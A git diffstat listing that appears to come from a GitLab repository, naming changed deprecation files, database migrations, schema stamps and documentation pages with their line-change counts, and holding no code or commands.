-rw-r--r--data/deprecations/deprecation_omniauth-kerberos_gem.yml1
-rw-r--r--data/deprecations/disable_strict_host_key_checking.yml1
-rw-r--r--data/deprecations/job_char_limit.yml26
-rw-r--r--data/deprecations/runner_api_new_stale_status_breaking_change.yml13
-rw-r--r--data/deprecations/serverless.yml1
-rw-r--r--data/deprecations/templates/_deprecation_template.md.erb1
-rw-r--r--data/deprecations/templates/example.yml2
-rw-r--r--db/fixtures/development/02_users.rb5
-rw-r--r--db/fixtures/development/32_crm.rb47
-rw-r--r--db/migrate/20211008043855_remove_notes_trigram_index.rb15
-rw-r--r--db/migrate/20211011140930_create_ci_namespace_mirrors.rb15
-rw-r--r--db/migrate/20211011140931_create_ci_project_mirrors.rb12
-rw-r--r--db/migrate/20211011140932_create_namespaces_sync_events.rb9
-rw-r--r--db/migrate/20211011141239_create_projects_sync_events.rb9
-rw-r--r--db/migrate/20211011141242_create_namespaces_sync_trigger.rb37
-rw-r--r--db/migrate/20211011141243_create_projects_sync_trigger.rb37
-rw-r--r--db/migrate/20211101165656_create_upload_states.rb32
-rw-r--r--db/migrate/20211108204736_add_policy_idx_to_approval_project_rule.rb9
-rw-r--r--db/migrate/20211110014701_create_agent_activity_events.rb22
-rw-r--r--db/migrate/20211110015252_add_agent_activity_events_foreign_keys.rb35
-rw-r--r--db/migrate/20211110092710_create_issue_emails.rb21
-rw-r--r--db/migrate/20211111112425_create_merge_requests_compliance_violations.rb13
-rw-r--r--db/migrate/20211111112639_add_fk_compliance_violations_merge_request.rb18
-rw-r--r--db/migrate/20211111112713_add_fk_compliance_violations_violating_user.rb18
-rw-r--r--db/migrate/20211111164025_add_squash_commit_template_to_project_settings.rb9
-rw-r--r--db/migrate/20211111164047_add_squash_commit_template_limit_to_project_settings.rb13
-rw-r--r--db/migrate/20211112073413_change_package_index_on_corpus.rb19
-rw-r--r--db/migrate/20211115132613_create_incident_management_timeline_events.rb30
-rw-r--r--db/migrate/20211115142803_add_foreign_key_to_incident_management_timeline_events_on_project.rb15
-rw-r--r--db/migrate/20211115142847_add_foreign_key_to_incident_management_timeline_events_on_user.rb15
-rw-r--r--db/migrate/20211115142911_add_foreign_key_to_incident_management_timeline_events_on_issue.rb15
-rw-r--r--db/migrate/20211115145107_add_created_at_to_namespace_monthly_usages.rb17
-rw-r--r--db/migrate/20211115154103_add_created_at_to_project_monthly_usage.rb17
-rw-r--r--db/migrate/20211116093739_add_foreign_key_to_incident_management_timeline_events_on_updated_by_user.rb15
-rw-r--r--db/migrate/20211117174209_create_vulnerability_reads.rb24
-rw-r--r--db/migrate/20211118100959_change_default_value_of_loose_fk_deleted_records_partition.rb9
-rw-r--r--db/migrate/20211118103439_remove_hardcoded_partition_from_loose_fk_trigger_function.rb40
-rw-r--r--db/migrate/20211118114228_add_max_ssh_key_lifetime_to_application_settings.rb7
-rw-r--r--db/migrate/20211118124537_add_foreign_key_to_vulnerability_reads_on_vulnerability.rb15
-rw-r--r--db/migrate/20211118124628_add_foreign_key_to_vulnerability_reads_on_project.rb15
-rw-r--r--db/migrate/20211118124650_add_foreign_key_to_vulnerability_reads_on_scanner.rb15
-rw-r--r--db/migrate/20211119085015_add_orignal_filename_to_ci_job_artifact.rb16
-rw-r--r--db/migrate/20211119154221_create_pages_deployment_states.rb38
-rw-r--r--db/migrate/20211119170805_remove_test_report_requirement_issue_constraint.rb16
-rw-r--r--db/migrate/20211119194024_add_required_approval_count_to_protected_environments.rb7
-rw-r--r--db/migrate/20211119195201_create_deployment_approvals.rb13
-rw-r--r--db/migrate/20211122215001_add_policy_idx_to_approval_merge_request_rule.rb9
-rw-r--r--db/migrate/20211123181236_add_user_foreign_key_to_deployment_approvals.rb15
-rw-r--r--db/migrate/20211123182614_make_iteration_cadences_start_date_nullable.rb7
-rw-r--r--db/migrate/20211124132319_add_encrypted_static_objects_external_storage_auth_token.rb14
-rw-r--r--db/migrate/20211126042235_add_sequence_column_to_sprints_table.rb14
-rw-r--r--db/migrate/20211126113029_add_text_limit_for_static_objects_external_storage_auth_token.rb12
-rw-r--r--db/migrate/20211126115449_encrypt_static_objects_external_storage_auth_token.rb29
-rw-r--r--db/migrate/20211126142200_add_encrypted_static_object_token.rb16
-rw-r--r--db/migrate/20211126142354_add_text_limit_to_encrypted_static_object_token.rb13
-rw-r--r--db/migrate/20211126204445_add_task_to_work_item_types.rb31
-rw-r--r--db/migrate/20211129151155_add_migrated_to_new_structure_column_to_vulnerability_occurrences.rb7
-rw-r--r--db/migrate/20211129151832_add_index_on_vulnerability_occurrences_migrated_to_new_structure_column.rb15
-rw-r--r--db/migrate/20211130151724_add_foreign_key_to_incident_management_timeline_events_on_note.rb15
-rw-r--r--db/migrate/20211130205719_add_uniqueness_for_evidence_occurrence_id.rb18
-rw-r--r--db/migrate/20211201061733_add_future_subscriptions_to_application_settings.rb7
-rw-r--r--db/migrate/20211201143042_create_lfs_object_states.rb32
-rw-r--r--db/migrate/20211202041233_add_deployment_foreign_key_to_deployment_approvals.rb15
-rw-r--r--db/migrate/20211202094944_move_loose_fk_deleted_records_to_dynamic_schema.rb17
-rw-r--r--db/migrate/20211202135508_add_index_on_packages_build_infos_package_id_pipeline_id.rb18
-rw-r--r--db/migrate/20211204010826_add_index_snippets_on_project_id_and_title.rb15
-rw-r--r--db/migrate/20211207154413_add_ci_runners_index_on_created_at_where_active_is_false.rb15
-rw-r--r--db/migrate/20211207154414_add_ci_runners_index_on_contacted_at_where_active_is_false.rb15
-rw-r--r--db/migrate/20211207165508_add_protected_environments_required_approval_count_check_constraint.rb15
-rw-r--r--db/migrate/20211208111425_add_executor_type_column_to_ci_runners.rb7
-rw-r--r--db/migrate/20211213130324_update_timelogs_spent_at_default.rb7
-rw-r--r--db/migrate/20211214110307_remove_temp_index_from_vulnerability_occurrences.rb15
-rw-r--r--db/post_migrate/20210713042000_fix_ci_sources_pipelines_index_names.rb59
-rw-r--r--db/post_migrate/20211022214523_schedule_recalculate_vulnerability_finding_signatures_for_findings.rb25
-rw-r--r--db/post_migrate/20211023102243_schedule_delete_invalid_epic_issues.rb14
-rw-r--r--db/post_migrate/20211027043206_track_ci_pipeline_deletions.rb15
-rw-r--r--db/post_migrate/20211027043229_track_ci_build_deletions.rb15
-rw-r--r--db/post_migrate/20211101222614_consume_remaining_user_namespace_jobs.rb26
-rw-r--r--db/post_migrate/20211103141403_remove_propagate_service_template_worker.rb11
-rw-r--r--db/post_migrate/20211104165220_remove_vulnerability_finding_links.rb21
-rw-r--r--db/post_migrate/20211110143306_add_not_null_constraint_to_security_findings_uuid.rb20
-rw-r--r--db/post_migrate/20211110151320_add_temporary_index_on_security_findings_uuid.rb23
-rw-r--r--db/post_migrate/20211110151350_schedule_drop_invalid_security_findings.rb25
-rw-r--r--db/post_migrate/20211116091751_change_namespace_type_default_to_user.rb17
-rw-r--r--db/post_migrate/20211116111644_schedule_remove_occurrence_pipelines_and_duplicate_vulnerabilities_findings.rb23
-rw-r--r--db/post_migrate/20211117084814_migrate_remaining_u2f_registrations.rb26
-rw-r--r--db/post_migrate/20211118130836_drop_pages_deployments_builds_fk.rb22
-rw-r--r--db/post_migrate/20211118194239_drop_invalid_remediations.rb25
-rw-r--r--db/post_migrate/20211119085036_add_text_limit_to_job_artifact_original_filename.rb13
-rw-r--r--db/post_migrate/20211122033501_improve_index_on_events_for_calendar.rb13
-rw-r--r--db/post_migrate/20211122193948_cleanup_background_migration_of_requirements_to_work_items.rb17
-rw-r--r--db/post_migrate/20211124132705_change_index_users_on_public_email.rb22
-rw-r--r--db/post_migrate/20211125120444_add_index_todos_project_id_user_id.rb15
-rw-r--r--db/post_migrate/20211130165043_backfill_sequence_column_for_sprints_table.rb24
-rw-r--r--db/post_migrate/20211130201100_track_deletions_in_namespaces.rb15
-rw-r--r--db/post_migrate/20211130201101_track_deletions_in_projects.rb15
-rw-r--r--db/post_migrate/20211201101541_drop_clusters_applications_runners_ci_runners_fk.rb15
-rw-r--r--db/post_migrate/20211202145237_add_todos_project_and_id_index.rb32
-rw-r--r--db/post_migrate/20211203091642_add_index_to_projects_on_marked_for_deletion_at.rb15
-rw-r--r--db/post_migrate/20211206073851_create_calendar_events_index_synchronously.rb15
-rw-r--r--db/post_migrate/20211206074547_remove_old_calendar_events_index.rb18
-rw-r--r--db/post_migrate/20211207090503_cleanup_first_mentioned_in_commit_jobs.rb22
-rw-r--r--db/post_migrate/20211208171402_reschedule_recalculate_vulnerability_finding_signatures_for_findings.rb27
-rw-r--r--db/post_migrate/20211209093636_track_ci_job_artifacts_deletes.rb15
-rw-r--r--db/post_migrate/20211209093828_track_users_deletes.rb15
-rw-r--r--db/post_migrate/20211209093923_track_external_pull_requests_deletes.rb15
-rw-r--r--db/post_migrate/20211209094222_track_merge_requests_deletes.rb15
-rw-r--r--db/post_migrate/20211210173137_remove_vulnerability_finding_links_again.rb21
-rw-r--r--db/post_migrate/20211213064821_add_agent_id_location_index_to_vulnerability_occurrences.rb18
-rw-r--r--db/post_migrate/20211213102111_drop_ci_pipelines_mr_metrics_fk.rb15
-rw-r--r--db/post_migrate/20211215090620_schedule_update_timelogs_null_spent_at.rb23
-rw-r--r--db/schema_migrations/202107130420001
-rw-r--r--db/schema_migrations/202110080438551
-rw-r--r--db/schema_migrations/202110111409301
-rw-r--r--db/schema_migrations/202110111409311
-rw-r--r--db/schema_migrations/202110111409321
-rw-r--r--db/schema_migrations/202110111412391
-rw-r--r--db/schema_migrations/202110111412421
-rw-r--r--db/schema_migrations/202110111412431
-rw-r--r--db/schema_migrations/202110222145231
-rw-r--r--db/schema_migrations/202110231022431
-rw-r--r--db/schema_migrations/202110270432061
-rw-r--r--db/schema_migrations/202110270432291
-rw-r--r--db/schema_migrations/202111011656561
-rw-r--r--db/schema_migrations/202111012226141
-rw-r--r--db/schema_migrations/202111031414031
-rw-r--r--db/schema_migrations/202111041652201
-rw-r--r--db/schema_migrations/202111082047361
-rw-r--r--db/schema_migrations/202111100147011
-rw-r--r--db/schema_migrations/202111100152521
-rw-r--r--db/schema_migrations/202111100927101
-rw-r--r--db/schema_migrations/202111101433061
-rw-r--r--db/schema_migrations/202111101513201
-rw-r--r--db/schema_migrations/202111101513501
-rw-r--r--db/schema_migrations/202111111124251
-rw-r--r--db/schema_migrations/202111111126391
-rw-r--r--db/schema_migrations/202111111127131
-rw-r--r--db/schema_migrations/202111111640251
-rw-r--r--db/schema_migrations/202111111640471
-rw-r--r--db/schema_migrations/202111120734131
-rw-r--r--db/schema_migrations/202111151326131
-rw-r--r--db/schema_migrations/202111151428031
-rw-r--r--db/schema_migrations/202111151428471
-rw-r--r--db/schema_migrations/202111151429111
-rw-r--r--db/schema_migrations/202111151451071
-rw-r--r--db/schema_migrations/202111151541031
-rw-r--r--db/schema_migrations/202111160917511
-rw-r--r--db/schema_migrations/202111160937391
-rw-r--r--db/schema_migrations/202111161116441
-rw-r--r--db/schema_migrations/202111170848141
-rw-r--r--db/schema_migrations/202111171742091
-rw-r--r--db/schema_migrations/202111181009591
-rw-r--r--db/schema_migrations/202111181034391
-rw-r--r--db/schema_migrations/202111181142281
-rw-r--r--db/schema_migrations/202111181245371
-rw-r--r--db/schema_migrations/202111181246281
-rw-r--r--db/schema_migrations/202111181246501
-rw-r--r--db/schema_migrations/202111181308361
-rw-r--r--db/schema_migrations/202111181942391
-rw-r--r--db/schema_migrations/202111190850151
-rw-r--r--db/schema_migrations/202111190850361
-rw-r--r--db/schema_migrations/202111191542211
-rw-r--r--db/schema_migrations/202111191708051
-rw-r--r--db/schema_migrations/202111191940241
-rw-r--r--db/schema_migrations/202111191952011
-rw-r--r--db/schema_migrations/202111220335011
-rw-r--r--db/schema_migrations/202111221939481
-rw-r--r--db/schema_migrations/202111222150011
-rw-r--r--db/schema_migrations/202111231812361
-rw-r--r--db/schema_migrations/202111231826141
-rw-r--r--db/schema_migrations/202111241323191
-rw-r--r--db/schema_migrations/202111241327051
-rw-r--r--db/schema_migrations/202111251204441
-rw-r--r--db/schema_migrations/202111260422351
-rw-r--r--db/schema_migrations/202111261130291
-rw-r--r--db/schema_migrations/202111261154491
-rw-r--r--db/schema_migrations/202111261422001
-rw-r--r--db/schema_migrations/202111261423541
-rw-r--r--db/schema_migrations/202111262044451
-rw-r--r--db/schema_migrations/202111291511551
-rw-r--r--db/schema_migrations/202111291518321
-rw-r--r--db/schema_migrations/202111301517241
-rw-r--r--db/schema_migrations/202111301650431
-rw-r--r--db/schema_migrations/202111302011001
-rw-r--r--db/schema_migrations/202111302011011
-rw-r--r--db/schema_migrations/202111302057191
-rw-r--r--db/schema_migrations/202112010617331
-rw-r--r--db/schema_migrations/202112011015411
-rw-r--r--db/schema_migrations/202112011430421
-rw-r--r--db/schema_migrations/202112020412331
-rw-r--r--db/schema_migrations/202112020949441
-rw-r--r--db/schema_migrations/202112021355081
-rw-r--r--db/schema_migrations/202112021452371
-rw-r--r--db/schema_migrations/202112030916421
-rw-r--r--db/schema_migrations/202112040108261
-rw-r--r--db/schema_migrations/202112060738511
-rw-r--r--db/schema_migrations/202112060745471
-rw-r--r--db/schema_migrations/202112070905031
-rw-r--r--db/schema_migrations/202112071544131
-rw-r--r--db/schema_migrations/202112071544141
-rw-r--r--db/schema_migrations/202112071655081
-rw-r--r--db/schema_migrations/202112081114251
-rw-r--r--db/schema_migrations/202112081714021
-rw-r--r--db/schema_migrations/202112090936361
-rw-r--r--db/schema_migrations/202112090938281
-rw-r--r--db/schema_migrations/202112090939231
-rw-r--r--db/schema_migrations/202112090942221
-rw-r--r--db/schema_migrations/202112101731371
-rw-r--r--db/schema_migrations/202112130648211
-rw-r--r--db/schema_migrations/202112131021111
-rw-r--r--db/schema_migrations/202112131303241
-rw-r--r--db/schema_migrations/202112141103071
-rw-r--r--db/schema_migrations/202112150906201
-rw-r--r--db/structure.sql681
-rw-r--r--doc/.markdownlint/markdownlint-no-trailing-spaces.yml4
-rw-r--r--doc/.vale/gitlab/Acronyms.yml202
-rw-r--r--doc/.vale/gitlab/Dropdown.yml14
-rw-r--r--doc/.vale/gitlab/ElementDescriptors.yml3
-rw-r--r--doc/.vale/gitlab/SubstitutionWarning.yml6
-rw-r--r--doc/.vale/gitlab/Uppercase.yml202
-rw-r--r--doc/.vale/gitlab/spelling-exceptions.txt2
-rw-r--r--doc/administration/audit_events.md17
-rw-r--r--doc/administration/auth/atlassian.md13
-rw-r--r--doc/administration/auth/authentiq.md14
-rw-r--r--doc/administration/auth/cognito.md28
-rw-r--r--doc/administration/auth/crowd.md12
-rw-r--r--doc/administration/auth/jwt.md22
-rw-r--r--doc/administration/auth/ldap/index.md102
-rw-r--r--doc/administration/auth/ldap/ldap-troubleshooting.md25
-rw-r--r--doc/administration/auth/ldap/ldap_synchronization.md4
-rw-r--r--doc/administration/auth/oidc.md179
-rw-r--r--doc/administration/cicd.md4
-rw-r--r--doc/administration/clusters/kas.md12
-rw-r--r--doc/administration/compliance.md2
-rw-r--r--doc/administration/database_load_balancing.md273
-rw-r--r--doc/administration/environment_variables.md1
-rw-r--r--doc/administration/geo/disaster_recovery/runbooks/planned_failover_multi_node.md18
-rw-r--r--doc/administration/geo/disaster_recovery/runbooks/planned_failover_single_node.md6
-rw-r--r--doc/administration/geo/index.md33
-rw-r--r--doc/administration/geo/replication/configuration.md2
-rw-r--r--doc/administration/geo/replication/datatypes.md100
-rw-r--r--doc/administration/geo/replication/disable_geo.md2
-rw-r--r--doc/administration/geo/replication/faq.md2
-rw-r--r--doc/administration/geo/replication/troubleshooting.md2
-rw-r--r--doc/administration/geo/replication/updating_the_geo_nodes.md9
-rw-r--r--doc/administration/geo/replication/version_specific_updates.md22
-rw-r--r--doc/administration/geo/secondary_proxy/index.md59
-rw-r--r--doc/administration/geo/setup/index.md1
-rw-r--r--doc/administration/gitaly/configure_gitaly.md20
-rw-r--r--doc/administration/gitaly/index.md38
-rw-r--r--doc/administration/gitaly/praefect.md458
-rw-r--r--doc/administration/gitaly/recovery.md418
-rw-r--r--doc/administration/gitaly/troubleshooting.md214
-rw-r--r--doc/administration/img/db_load_balancing_postgres_stats.pngbin21543 -> 0 bytes
-rw-r--r--doc/administration/incoming_email.md20
-rw-r--r--doc/administration/index.md6
-rw-r--r--doc/administration/instance_limits.md44
-rw-r--r--doc/administration/instance_review.md2
-rw-r--r--doc/administration/integration/terminal.md2
-rw-r--r--doc/administration/job_artifacts.md164
-rw-r--r--doc/administration/lfs/index.md129
-rw-r--r--doc/administration/logs.md18
-rw-r--r--doc/administration/monitoring/gitlab_self_monitoring_project/index.md5
-rw-r--r--doc/administration/monitoring/performance/performance_bar.md9
-rw-r--r--doc/administration/monitoring/prometheus/gitlab_metrics.md35
-rw-r--r--doc/administration/monitoring/prometheus/index.md8
-rw-r--r--doc/administration/nfs.md18
-rw-r--r--doc/administration/object_storage.md7
-rw-r--r--doc/administration/operations/extra_sidekiq_processes.md6
-rw-r--r--doc/administration/operations/moving_repositories.md7
-rw-r--r--doc/administration/operations/puma.md2
-rw-r--r--doc/administration/package_information/deprecated_os.md84
-rw-r--r--doc/administration/package_information/deprecation_policy.md26
-rw-r--r--doc/administration/package_information/index.md10
-rw-r--r--doc/administration/package_information/supported_os.md90
-rw-r--r--doc/administration/packages/container_registry.md69
-rw-r--r--doc/administration/packages/index.md20
-rw-r--r--doc/administration/pages/index.md29
-rw-r--r--doc/administration/pages/source.md4
-rw-r--r--doc/administration/postgresql/database_load_balancing.md234
-rw-r--r--doc/administration/postgresql/img/pg_ha_architecture.pngbin18308 -> 0 bytes
-rw-r--r--doc/administration/postgresql/pgbouncer.md2
-rw-r--r--doc/administration/postgresql/replication_and_failover.md216
-rw-r--r--doc/administration/raketasks/maintenance.md2
-rw-r--r--doc/administration/raketasks/storage.md12
-rw-r--r--doc/administration/raketasks/uploads/migrate.md22
-rw-r--r--doc/administration/read_only_gitlab.md8
-rw-r--r--doc/administration/redis/troubleshooting.md12
-rw-r--r--doc/administration/reference_architectures/10k_users.md158
-rw-r--r--doc/administration/reference_architectures/1k_users.md53
-rw-r--r--doc/administration/reference_architectures/25k_users.md160
-rw-r--r--doc/administration/reference_architectures/2k_users.md56
-rw-r--r--doc/administration/reference_architectures/3k_users.md195
-rw-r--r--doc/administration/reference_architectures/50k_users.md162
-rw-r--r--doc/administration/reference_architectures/5k_users.md183
-rw-r--r--doc/administration/reference_architectures/index.md35
-rw-r--r--doc/administration/reference_architectures/troubleshooting.md13
-rw-r--r--doc/administration/repository_storage_types.md4
-rw-r--r--doc/administration/terraform_state.md34
-rw-r--r--doc/administration/troubleshooting/elasticsearch.md2
-rw-r--r--doc/administration/troubleshooting/gitlab_rails_cheat_sheet.md68
-rw-r--r--doc/administration/troubleshooting/group_saml_scim.md4
-rw-r--r--doc/administration/troubleshooting/img/okta_setting_username.pngbin0 -> 69815 bytes
-rw-r--r--doc/administration/troubleshooting/img/sidekiq_flamegraph.pngbin0 -> 54473 bytes
-rw-r--r--doc/administration/troubleshooting/navigating_gitlab_via_rails_console.md22
-rw-r--r--doc/administration/troubleshooting/sidekiq.md35
-rw-r--r--doc/administration/troubleshooting/tracing_correlation_id.md7
-rw-r--r--doc/administration/uploads.md74
-rw-r--r--doc/api/api_resources.md281
-rw-r--r--doc/api/audit_events.md6
-rw-r--r--doc/api/branches.md10
-rw-r--r--doc/api/deploy_tokens.md4
-rw-r--r--doc/api/discussions.md2
-rw-r--r--doc/api/dora4_project_analytics.md3
-rw-r--r--doc/api/epics.md35
-rw-r--r--doc/api/error_tracking.md8
-rw-r--r--doc/api/feature_flag_user_lists.md4
-rw-r--r--doc/api/geo_nodes.md76
-rw-r--r--doc/api/graphql/index.md223
-rw-r--r--doc/api/graphql/reference/index.md240
-rw-r--r--doc/api/graphql/removed_items.md8
-rw-r--r--doc/api/group_import_export.md2
-rw-r--r--doc/api/group_labels.md10
-rw-r--r--doc/api/groups.md166
-rw-r--r--doc/api/import.md2
-rw-r--r--doc/api/index.md17
-rw-r--r--doc/api/instance_clusters.md4
-rw-r--r--doc/api/invitations.md5
-rw-r--r--doc/api/issues_statistics.md6
-rw-r--r--doc/api/job_artifacts.md1
-rw-r--r--doc/api/jobs.md15
-rw-r--r--doc/api/labels.md12
-rw-r--r--doc/api/managed_licenses.md11
-rw-r--r--doc/api/members.md94
-rw-r--r--doc/api/merge_request_approvals.md13
-rw-r--r--doc/api/merge_request_context_commits.md23
-rw-r--r--doc/api/merge_requests.md22
-rw-r--r--doc/api/milestones.md66
-rw-r--r--doc/api/namespaces.md2
-rw-r--r--doc/api/notes.md110
-rw-r--r--doc/api/oauth2.md10
-rw-r--r--doc/api/packages/nuget.md9
-rw-r--r--doc/api/personal_access_tokens.md6
-rw-r--r--doc/api/pipelines.md14
-rw-r--r--doc/api/project_badges.md2
-rw-r--r--doc/api/project_clusters.md1
-rw-r--r--doc/api/project_import_export.md54
-rw-r--r--doc/api/project_level_variables.md10
-rw-r--r--doc/api/project_snippets.md44
-rw-r--r--doc/api/project_statistics.md2
-rw-r--r--doc/api/project_templates.md4
-rw-r--r--doc/api/project_vulnerabilities.md6
-rw-r--r--doc/api/projects.md48
-rw-r--r--doc/api/protected_branches.md38
-rw-r--r--doc/api/protected_environments.md12
-rw-r--r--doc/api/repositories.md60
-rw-r--r--doc/api/repository_files.md102
-rw-r--r--doc/api/resource_access_tokens.md2
-rw-r--r--doc/api/resource_groups.md5
-rw-r--r--doc/api/services.md9
-rw-r--r--doc/api/settings.md93
-rw-r--r--doc/api/status_checks.md2
-rw-r--r--doc/api/topics.md17
-rw-r--r--doc/api/users.md127
-rw-r--r--doc/api/v3_to_v4.md2
-rw-r--r--doc/architecture/blueprints/ci_scale/index.md69
-rw-r--r--doc/architecture/blueprints/cloud_native_gitlab_pages/index.md2
-rw-r--r--doc/architecture/blueprints/consolidating_groups_and_projects/index.md2
-rw-r--r--doc/architecture/blueprints/container_registry_metadata_database/index.md4
-rw-r--r--doc/architecture/blueprints/gitlab_to_kubernetes_communication/index.md8
-rw-r--r--doc/architecture/blueprints/object_storage/index.md220
-rw-r--r--doc/ci/caching/index.md2
-rw-r--r--doc/ci/ci_cd_for_external_repos/index.md17
-rw-r--r--doc/ci/directed_acyclic_graph/index.md6
-rw-r--r--doc/ci/docker/using_docker_build.md2
-rw-r--r--doc/ci/environments/deployment_safety.md8
-rw-r--r--doc/ci/environments/index.md73
-rw-r--r--doc/ci/environments/protected_environments.md19
-rw-r--r--doc/ci/examples/authenticating-with-hashicorp-vault/index.md3
-rw-r--r--doc/ci/examples/semantic-release.md2
-rw-r--r--doc/ci/git_submodules.md2
-rw-r--r--doc/ci/jobs/ci_job_token.md12
-rw-r--r--doc/ci/jobs/job_control.md14
-rw-r--r--doc/ci/large_repositories/index.md4
-rw-r--r--doc/ci/metrics_reports.md2
-rw-r--r--doc/ci/migration/jenkins.md12
-rw-r--r--doc/ci/pipelines/job_artifacts.md206
-rw-r--r--doc/ci/pipelines/merge_request_pipelines.md4
-rw-r--r--doc/ci/pipelines/merge_trains.md7
-rw-r--r--doc/ci/pipelines/multi_project_pipelines.md2
-rw-r--r--doc/ci/pipelines/parent_child_pipelines.md7
-rw-r--r--doc/ci/pipelines/pipeline_architectures.md4
-rw-r--r--doc/ci/pipelines/pipelines_for_merged_results.md4
-rw-r--r--doc/ci/pipelines/settings.md4
-rw-r--r--doc/ci/resource_groups/index.md2
-rw-r--r--doc/ci/runners/build_cloud/linux_build_cloud.md4
-rw-r--r--doc/ci/runners/build_cloud/macos/environment.md4
-rw-r--r--doc/ci/runners/build_cloud/macos_build_cloud.md4
-rw-r--r--doc/ci/runners/build_cloud/windows_build_cloud.md4
-rw-r--r--doc/ci/runners/configure_runners.md10
-rw-r--r--doc/ci/runners/index.md6
-rw-r--r--doc/ci/runners/runner_cloud/linux_runner_cloud.md187
-rw-r--r--doc/ci/runners/runner_cloud/macos/environment.md44
-rw-r--r--doc/ci/runners/runner_cloud/macos_runner_cloud.md63
-rw-r--r--doc/ci/runners/runner_cloud/windows_runner_cloud.md156
-rw-r--r--doc/ci/runners/saas/linux_saas_runner.md188
-rw-r--r--doc/ci/runners/saas/macos/environment.md43
-rw-r--r--doc/ci/runners/saas/macos_saas_runner.md63
-rw-r--r--doc/ci/runners/saas/windows_saas_runner.md155
-rw-r--r--doc/ci/secrets/index.md5
-rw-r--r--doc/ci/services/gitlab.md2
-rw-r--r--doc/ci/test_cases/index.md4
-rw-r--r--doc/ci/triggers/img/triggers_page.pngbin20857 -> 0 bytes
-rw-r--r--doc/ci/triggers/index.md264
-rw-r--r--doc/ci/troubleshooting.md2
-rw-r--r--doc/ci/unit_test_reports.md6
-rw-r--r--doc/ci/variables/index.md27
-rw-r--r--doc/ci/variables/predefined_variables.md8
-rw-r--r--doc/ci/yaml/artifacts_reports.md304
-rw-r--r--doc/ci/yaml/includes.md2
-rw-r--r--doc/ci/yaml/index.md4491
-rw-r--r--doc/ci/yaml/script.md4
-rw-r--r--doc/ci/yaml/workflow.md2
-rw-r--r--doc/development/adding_database_indexes.md4
-rw-r--r--doc/development/api_graphql_styleguide.md15
-rw-r--r--doc/development/application_slis/index.md2
-rw-r--r--doc/development/architecture.md10
-rw-r--r--doc/development/audit_event_guide/index.md11
-rw-r--r--doc/development/backend/ruby_style_guide.md2
-rw-r--r--doc/development/background_migrations.md13
-rw-r--r--doc/development/cascading_settings.md2
-rw-r--r--doc/development/changelog.md2
-rw-r--r--doc/development/cicd/cicd_reference_documentation_guide.md183
-rw-r--r--doc/development/cicd/templates.md2
-rw-r--r--doc/development/code_review.md2
-rw-r--r--doc/development/contributing/index.md2
-rw-r--r--doc/development/contributing/merge_request_workflow.md2
-rw-r--r--doc/development/contributing/style_guides.md13
-rw-r--r--doc/development/dangerbot.md2
-rw-r--r--doc/development/database/loose_foreign_keys.md139
-rw-r--r--doc/development/database/multiple_databases.md106
-rw-r--r--doc/development/database_debugging.md2
-rw-r--r--doc/development/deprecation_guidelines/index.md4
-rw-r--r--doc/development/documentation/feature_flags.md4
-rw-r--r--doc/development/documentation/img/manual_build_docs_v14_3.pngbin14855 -> 0 bytes
-rw-r--r--doc/development/documentation/img/manual_build_docs_v14_6.pngbin0 -> 26853 bytes
-rw-r--r--doc/development/documentation/restful_api_styleguide.md45
-rw-r--r--doc/development/documentation/review_apps.md2
-rw-r--r--doc/development/documentation/site_architecture/deployment_process.md8
-rw-r--r--doc/development/documentation/structure.md2
-rw-r--r--doc/development/documentation/styleguide/img/callouts.pngbin0 -> 4875 bytes
-rw-r--r--doc/development/documentation/styleguide/index.md56
-rw-r--r--doc/development/documentation/styleguide/word_list.md311
-rw-r--r--doc/development/documentation/workflow.md100
-rw-r--r--doc/development/ee_features.md42
-rw-r--r--doc/development/event_tracking/backend.md9
-rw-r--r--doc/development/event_tracking/frontend.md9
-rw-r--r--doc/development/event_tracking/index.md9
-rw-r--r--doc/development/experiment_guide/gitlab_experiment.md22
-rw-r--r--doc/development/experiment_guide/index.md8
-rw-r--r--doc/development/fe_guide/event_tracking.md9
-rw-r--r--doc/development/fe_guide/graphql.md113
-rw-r--r--doc/development/fe_guide/haml.md8
-rw-r--r--doc/development/fe_guide/vue.md6
-rw-r--r--doc/development/fe_guide/vue3_migration.md2
-rw-r--r--doc/development/feature_flags/controls.md24
-rw-r--r--doc/development/features_inside_dot_gitlab.md2
-rw-r--r--doc/development/filtering_by_label.md6
-rw-r--r--doc/development/go_guide/go_upgrade.md8
-rw-r--r--doc/development/go_guide/index.md12
-rw-r--r--doc/development/graphql_guide/authorization.md5
-rw-r--r--doc/development/graphql_guide/index.md1
-rw-r--r--doc/development/graphql_guide/monitoring.md89
-rw-r--r--doc/development/i18n/externalization.md12
-rw-r--r--doc/development/i18n/index.md6
-rw-r--r--doc/development/i18n/merging_translations.md32
-rw-r--r--doc/development/i18n/translation.md10
-rw-r--r--doc/development/image_scaling.md4
-rw-r--r--doc/development/index.md5
-rw-r--r--doc/development/integrations/codesandbox.md2
-rw-r--r--doc/development/integrations/secure.md2
-rw-r--r--doc/development/interacting_components.md2
-rw-r--r--doc/development/internal_api/index.md26
-rw-r--r--doc/development/licensed_feature_availability.md2
-rw-r--r--doc/development/merge_request_performance_guidelines.md8
-rw-r--r--doc/development/multi_version_compatibility.md6
-rw-r--r--doc/development/new_fe_guide/modules/widget_extensions.md23
-rw-r--r--doc/development/performance.md4
-rw-r--r--doc/development/pipelines.md18
-rw-r--r--doc/development/policies.md4
-rw-r--r--doc/development/product_analytics/event_dictionary.md9
-rw-r--r--doc/development/product_analytics/index.md9
-rw-r--r--doc/development/rails_update.md2
-rw-r--r--doc/development/reactive_caching.md2
-rw-r--r--doc/development/ruby_upgrade.md6
-rw-r--r--doc/development/scalability.md3
-rw-r--r--doc/development/secure_coding_guidelines.md4
-rw-r--r--doc/development/service_ping/dictionary.md4
-rw-r--r--doc/development/service_ping/implement.md6
-rw-r--r--doc/development/service_ping/index.md122
-rw-r--r--doc/development/service_ping/metrics_dictionary.md16
-rw-r--r--doc/development/service_ping/metrics_lifecycle.md86
-rw-r--r--doc/development/session.md6
-rw-r--r--doc/development/shell_scripting_guide/index.md2
-rw-r--r--doc/development/sidekiq_style_guide.md15
-rw-r--r--doc/development/snowplow/implementation.md49
-rw-r--r--doc/development/snowplow/index.md15
-rw-r--r--doc/development/snowplow/schemas.md1
-rw-r--r--doc/development/sql.md3
-rw-r--r--doc/development/stage_group_dashboards.md4
-rw-r--r--doc/development/testing_guide/best_practices.md79
-rw-r--r--doc/development/testing_guide/end_to_end/best_practices.md18
-rw-r--r--doc/development/testing_guide/end_to_end/feature_flags.md51
-rw-r--r--doc/development/testing_guide/end_to_end/resources.md105
